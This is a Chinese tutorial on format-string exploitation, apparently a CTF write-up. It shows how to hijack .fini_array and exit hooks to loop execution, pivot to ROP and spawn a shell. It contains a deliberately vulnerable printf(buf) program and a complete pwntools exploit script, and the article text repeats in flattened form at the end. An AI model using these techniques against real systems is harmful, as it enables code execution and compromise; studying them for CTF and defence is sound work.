利用fini_array实现格式化字符串攻击的进阶技巧
字数 1529 2025-12-16 12:19:00

利用fini_array实现格式化字符串攻击的进阶技巧

概述

本文详细分析在x86架构下如何利用fini_array段实现格式化字符串漏洞的进阶利用技术。该技术通过在程序退出时执行的fini_array函数指针数组进行劫持,实现循环执行、ROP链攻击和exit劫持等高阶利用。

基本原理

程序启动流程分析

在x86架构中,程序的完整执行流程为:

_start --> __libc_start_main --> libc_csu_init --> main --> libc_csu_fini

关键发现:main函数并不是程序的起点,而是被__libc_start_main调用的。在main函数执行完毕后,程序会继续执行__libc_csu_fini函数。

fini_array段的作用

.fini_array段中存放着程序结束时需要调用的函数指针数组。__libc_csu_fini函数会遍历并执行这个数组中的所有函数指针。

.fini_array:0804979C __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux

重要特性

  • _init_array数组的执行顺序是从小到大(下标0→1→2...)
  • _fini_array数组的执行顺序是从大到小(下标n→n-1→...→0)

核心利用技术

1. 基础利用:创建执行循环

通过修改fini_array中的函数指针,可以创建无限循环的执行链:

fini_array[0] = __libc_csu_fini
fini_array[1] = target_addr(如main函数)

执行流程变为:

_start --> __libc_start_main --> libc_csu_init --> main --> libc_csu_fini 
--> target_addr --> libc_csu_fini --> target_addr --> ...

这种技术可以将单次漏洞利用机会放大为无限次利用机会。

2. ROP链攻击结合栈迁移

当栈空间不足时,可以将栈迁移到fini_array区域:

  1. 首先构造Loop链实现无限循环
  2. 在fini_array + 0x10后布置ROP链
  3. 修改fini_array跳出循环:
    fini_array[0] = leave_ret
    fini_array[1] = ret
    

3. exit劫持技术

基本原理

当程序执行exit(0)时(非sys-exit或_exit),会调用两个关键函数。通过修改这些函数指针(exit_hook),可以劫持程序控制流。

查找exit_hook地址

在gdb中使用命令查看内部结构:

p _rtld_global
x/500a 0x7ffff7e2a060(实际地址)

关键结构体成员:

_dl_rtld_lock_recursive = 0x7ffff7c010e0 <rtld_lock_default_lock_recursive>,
_dl_rtld_unlock_recursive = 0x7ffff7c010f0 <rtld_lock_default_unlock_recursive>,

利用条件

  • 至少有一次任意写机会
  • 程序可以正常结束(显式触发exit或主函数正常退出)
  • 能够调用到_dl_fini函数

版本限制:该技术在glibc-2.34之后失效

实战演示

示例程序

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

void init(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

int main(){
    char buf[0x100];
    int i = 0;
    init();
    for(i=0;i<2;i++){
        read(0,buf,0x100);
        printf(buf);
    }
    return 0;
}

利用步骤

第一步:地址泄露

def ak1():
    pd = b'%41$p'
    s(pd)
    lib = ri(15)-0x24083
    pr(lib)

第二步:修改fini_array

使用pwntools的fmtstr_payload自动构造格式化字符串payload:

writes = {目标地址:目标值}
payload = fmtstr_payload(offset, writes, write_size='byte')

优化技巧

  • 优先使用1字节或2字节写入(%hhn或%hn)
  • 避免一次性写入4字节或8字节,防止性能问题
  • 使用0x10000-xxx的方式刷新计数器

完整利用脚本

#!/usr/bin/python3
from pwn import *
import ctypes

context(os = 'linux', arch = 'amd64', log_level = 'debug')

def create_io():
    global io, elf, libc
    elf = ELF("./pwn")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    io = process("./pwn")

def exploit():
    # 泄漏libc基地址
    pd = b'%41$p'
    io.send(pd)
    libc_base = int(io.recv(15), 16) - 0x24083
    
    # 修改fini_array实现循环
    binsh = 0x235968 + libc_base
    target = 0x235f68 + libc_base
    
    # 第一次修改:写入/bin/sh字符串
    payload1 = fmtstr_payload(6, {binsh: 0x68732f6e69622f})
    io.send(payload1)
    
    # 第二次修改:将system函数地址写入exit_hook
    payload2 = fmtstr_payload(6, {target: libc_base + libc.sym['system']})
    io.send(payload2)

if __name__ == '__main__':
    create_io()
    exploit()
    io.interactive()

关键技术要点

格式化字符串使用技巧

占位符 含义
%d 十进制输出整数
%x 十六进制输出整数
%p 输出指针地址
%s 输出字符串
%n 写入已输出字符数
%hn 写入2字节
%hhn 写入1字节

注意事项

  1. printf对\x00截断:注意字符串中的空字节会提前终止输出
  2. 计数器管理:使用0x10000-xxx方式重置计数器
  3. 执行顺序:fini_array的倒序执行特性对payload构造至关重要
  4. 版本兼容性:不同glibc版本可能存在差异,特别是2.35之后csu机制变化

高级技巧

无限制次数修改

通过循环链技术,可以实现对内存的无限次修改:

# 修改exit_hook为system函数(分4次写入)
for i in range(4):
    payload = fmtstr_payload(offset, {exit_hook+i*2: system & 0xffff}, write_size='short')
    fmt(payload)
    system = system >> 16

# 修改参数为/bin/sh(分4次写入)
rdi_value = 0x68732f6e69622f
for i in range(4):
    payload = fmtstr_payload(offset, {rdi+i*2: rdi_value & 0xffff}, write_size='short')
    fmt(payload)
    rdi_value = rdi_value >> 16

调试技巧

在关键函数处设置断点:

b *__libc_csu_fini
b *_dl_fini  
b *_run_exit_handlers

总结

利用fini_array的格式化字符串攻击技术提供了强大的漏洞利用能力,特别是通过循环执行机制将有限的漏洞利用机会转化为无限可能。掌握这一技术需要深入理解程序启动流程、内存布局和格式化字符串漏洞的本质。在实际利用中,要特别注意版本兼容性和各种边界条件的处理。

利用fini_ array实现格式化字符串攻击的进阶技巧 概述 本文详细分析在x86架构下如何利用fini_ array段实现格式化字符串漏洞的进阶利用技术。该技术通过在程序退出时执行的fini_ array函数指针数组进行劫持,实现循环执行、ROP链攻击和exit劫持等高阶利用。 基本原理 程序启动流程分析 在x86架构中,程序的完整执行流程为: 关键发现:main函数并不是程序的起点,而是被 __libc_start_main 调用的。在main函数执行完毕后,程序会继续执行 __libc_csu_fini 函数。 fini_ array段的作用 在 .fini_array 段中存放着程序结束时需要调用的函数指针数组。 __libc_csu_fini 函数会遍历并执行这个数组中的所有函数指针。 重要特性 : _init_array 数组的执行顺序是从小到大(下标0→1→2...) _fini_array 数组的执行顺序是从大到小(下标n→n-1→...→0) 核心利用技术 1. 基础利用:创建执行循环 通过修改fini_ array中的函数指针,可以创建无限循环的执行链: 执行流程变为: 这种技术可以将单次漏洞利用机会放大为无限次利用机会。 2. ROP链攻击结合栈迁移 当栈空间不足时,可以将栈迁移到fini_ array区域: 首先构造Loop链实现无限循环 在fini_ array + 0x10后布置ROP链 修改fini_ array跳出循环: 3. exit劫持技术 基本原理 当程序执行exit(0)时(非sys-exit或_ exit),会调用两个关键函数。通过修改这些函数指针(exit_ hook),可以劫持程序控制流。 查找exit_ hook地址 在gdb中使用命令查看内部结构: 关键结构体成员: 利用条件 至少有一次任意写机会 程序可以正常结束(显式触发exit或主函数正常退出) 能够调用到 _dl_fini 函数 版本限制 :该技术在glibc-2.34之后失效 实战演示 示例程序 利用步骤 第一步:地址泄露 第二步:修改fini_ array 使用pwntools的fmtstr_ payload自动构造格式化字符串payload: 优化技巧 : 优先使用1字节或2字节写入(%hhn或%hn) 避免一次性写入4字节或8字节,防止性能问题 使用 0x10000-xxx 的方式刷新计数器 完整利用脚本 关键技术要点 格式化字符串使用技巧 | 占位符 | 含义 | |--------|------| | %d | 十进制输出整数 | | %x | 十六进制输出整数 | | %p | 输出指针地址 | | %s | 输出字符串 | | %n | 写入已输出字符数 | | %hn | 写入2字节 | | %hhn | 写入1字节 | 注意事项 printf对\x00截断 :注意字符串中的空字节会提前终止输出 计数器管理 :使用 0x10000-xxx 方式重置计数器 执行顺序 :fini_ array的倒序执行特性对payload构造至关重要 版本兼容性 :不同glibc版本可能存在差异,特别是2.35之后csu机制变化 高级技巧 无限制次数修改 通过循环链技术,可以实现对内存的无限次修改: 调试技巧 在关键函数处设置断点: 总结 利用fini_ array的格式化字符串攻击技术提供了强大的漏洞利用能力,特别是通过循环执行机制将有限的漏洞利用机会转化为无限可能。掌握这一技术需要深入理解程序启动流程、内存布局和格式化字符串漏洞的本质。在实际利用中,要特别注意版本兼容性和各种边界条件的处理。